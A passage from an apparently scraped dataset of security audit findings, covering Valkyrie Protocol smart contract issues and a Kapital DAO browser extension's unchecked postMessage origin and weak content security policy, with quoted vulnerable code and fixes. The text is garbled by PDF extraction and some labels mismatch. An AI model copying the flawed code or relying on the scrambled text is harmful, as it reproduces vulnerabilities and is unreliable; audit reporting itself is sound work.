| Execution :: from ( deps . api , e)) . collect :: < StdResult < Vec < Execution > > >() ?; response = response . add_attribute (\" is_updated_executions \" , \" true \" ); 196 } 34 Risk Level: Likelihood - 5 Impact - 3 Recommendation: Update the logic of update_campaign_config function to restrict the mod- ification of execution messages when campaigns are ongoing. Remediation plan: SOLVED: The issue was fixed in commit 1e1de2243655fa3f083dec248256651e48dbb83b. The Valkyrie team updated the logic of update_campaign_config function to not allow changes in execution messages. 35 ", "labels": ["Halborn", "Valkyrie_Protocol_CosmWasm", "Severity: High"]}, {"title": "FUNCTION TO UPDATE STAKING CONFIG DOES NOT WORK PROPERLY", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/CosmWasm Smart Contract Audits/Valkyrie_Protocol_CosmWasm_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "update_staking_config The contracts/governance/src/s- taking/executions.rs is not restricted to be called only by admin (Governance contract). Moreover, all changes made are not saved appropriately in contracts storage. function in As a consequence of malfunction of aforementioned function, admin will never be able to update distributor field for governance contract and could stop receiving rewards adequately. Code Location: Listing 15: contracts/governance/src/staking/executions.rs deps : DepsMut , _env : Env , _info : MessageInfo , distributor : Option < String >, 36 pub fn update_staking_config ( 37 38 39 40 41 ) -> ContractResult < Response > { 42 43 44 45 46 47 48 // Execute let mut response = make_response ( \" update_staking_config \" ); let mut config = StakingConfig :: load ( deps . storage ) ?; if let Some ( distributor ) = distributor { config . distributor = Some ( deps . api . addr_validate ( distributor . as_str () ) ?) ; response = response . add_attribute ( \" is_updated_distributor \" , \" true \" ); } Ok ( response ) 49 50 51 52 36 Risk Level: Likelihood - 5 Impact - 2 Recommendation: Update the logic in update_staking_config function to saves all changes appropriately in contracts storage. Also, restrict access to a function in such a way that can only be called by admin. Remediation plan: SOLVED: The issue was fixed in commit 753da9627f9dad0ee089415937178a33ebe4796d. 37 3.10 (HAL-10) COLLUDED STAKERS CAN TRANSFER VKR TOKENS OUTSIDE GOVERNANCE CONTRACT - MEDIUM ", "labels": ["Halborn", "Valkyrie_Protocol_CosmWasm", "Severity: Informational"]}, {"title": "UNCHECKED ORIGIN IN POSTMESSAGE", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Web Pentest/Playground_Labs_Kapital_DAO_Guild_Service_Browser_Extension_Pentest_Report_Halborn_Final.pdf", "body": "During the audit, Halborn discovered that the extension does not check the source of MessageEvents in its EventListeners. This (considering that it is in Playground Labs plans to whitelist the use of the extension for all domains) presents the danger that any website could send message events to the Content Script of the extension. In particular, each webpage into which the extensions Content Script can be injected, can send message events to the Background Script with the following payload.message: login logout confirm_signature reject_signature confirm_transaction reject_transaction and the following payload.method: eth_sendTransaction eth_signTypedData_v4 This means that all websites where the Content Script is injected can either log out the user from the extension or confirm/reject signatures and transactions that originated from other legitimate websites. 14 Code Location: Listing 1 1 REDACTED Screenshots/Videos: Confirming signatures generated on another website Logging the user out of the Kapital DAO Extension from a website CVSS Vector: AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:H Risk Level: Likelihood - 4 Impact - 4 Recommendation: It is recommended while progressively allowing more websites to be injected with the extensions Content Script to add origin checks in the Event Listeners and avoid whitelisting all domains in the check. Instead, it is recommended to have a list of trusted origins and compare the event origin against them: Listing 2: Checks for a valid message origin in the Content Script \" https :// game . cryptounicorns . fun / \" , \" https :// game . cryptopterodactyls . fun /\" 1 var trusted_origins = [ 2 3 4 ]; 5 6 if ( trusted_origins . includes ( event . origin ) ) { 15 do_stuff ( event ); 7 8 } Listing 3: Checks for a valid message origin in the Background Script 1 chrome . runtime . onMessage . addListener ( async ( payload , sender , sendResponse ) => { 2 3 4 var messageOrigin = sender . origin ; if ( messageOrigin == ...) { handleRequest ( payload , sender , sendResponse ) Additionally, it is recommended to verify using the message origin that login/logout/confirm/reject messages come from the correct origin, (in this case chrome-extension://ID) to avoid malicious websites from the logging in/out of the user and from the confirmation of their signatures and transactions. Figure 1: A message from the extensions popup 16 Reference: Unchecked Origin in postMessage Remediation Plan: SOLVED: The Playground Labs team solved this issue by implementing the following fixes: Checking the origin of each Message Event that the extension should emit: Commit ID: 27b021d00b6c5274f6bd71573cc52a0c05686720 17 ", "labels": ["Halborn", "Playground_Labs_Kapital_DAO_Guild_Service_Browser_Extension_Pentest", "Severity: High"]}, {"title": "UNRESTRICTIVE/UNSECURE EXTENSION CONTENT", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Web Pentest/Playground_Labs_Kapital_DAO_Guild_Service_Browser_Extension_Pentest_Report_Halborn_Final.pdf", "body": "DAO Guild Service Kapital The non-restrictive/insecure Content-Security-Policy (CSP). The CSP cannot declare a default-src directive. directive untrusted sources are not loaded. resources extension malicious ensures browser that that has a declared This is a fallback undeclared, from Moreover, elements controlled by object-src are perhaps coincidentally considered legacy HTML elements and arent receiving new standardized features (such as the security attributes sandbox or allow for